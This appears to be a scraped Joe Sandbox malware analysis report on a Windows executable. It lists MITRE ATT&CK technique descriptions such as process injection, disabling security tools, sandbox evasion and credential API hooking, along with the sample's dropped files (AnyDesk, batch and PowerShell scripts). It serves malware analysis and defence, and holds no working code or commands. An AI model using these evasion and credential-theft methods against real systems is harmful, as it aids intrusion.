Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProc$CurrentMessagePostProcess
String ID: PostMessageA
API String ID: 1656095895-3140657398
Opcode ID: d50799e23a21cc18d2e5f0fcfa6d1ae3e6cacaf89010114c09e6911f04f6306b
Instruction ID: d037a2f3ad6bdc812db245db23fed1fc707427996a8da4dd29a116643399cfdf
Opcode Fuzzy Hash: d50799e23a21cc18d2e5f0fcfa6d1ae3e6cacaf89010114c09e6911f04f6306b
Instruction Fuzzy Hash: 93E0C9796053089FCB40EBDAD84CE96B3F9E74A615B142640F544DB252C775A840CB50

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Yv24LkKBY6.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Intel\ 131.pdf

C:\Intel\AnyDesk\AnyDesk.exe

C:\Intel\AnyDesk\bat.bat

C:\Intel\AnyDesk\bat.lnk

C:\Intel\AnyDesk\wol.ps1

C:\Intel\Trays.rar

C:\Intel\Trays\4t-min.chm

C:\Intel\Trays\4t-min64.exe

C:\Intel\Trays\4t-min_pad.xml

C:\Intel\Trays\7z.dll

C:\Intel\Trays\File_id.diz

C:\Intel\Trays\ShellEh6055.dll

Windows Analysis Report
Yv24LkKBY6.exe

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.
Tactics:	Discovery
Data Sources:	Cloud Service: Cloud Service Enumeration, Command: Command Execution, Network Traffic: Network Traffic Flow
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre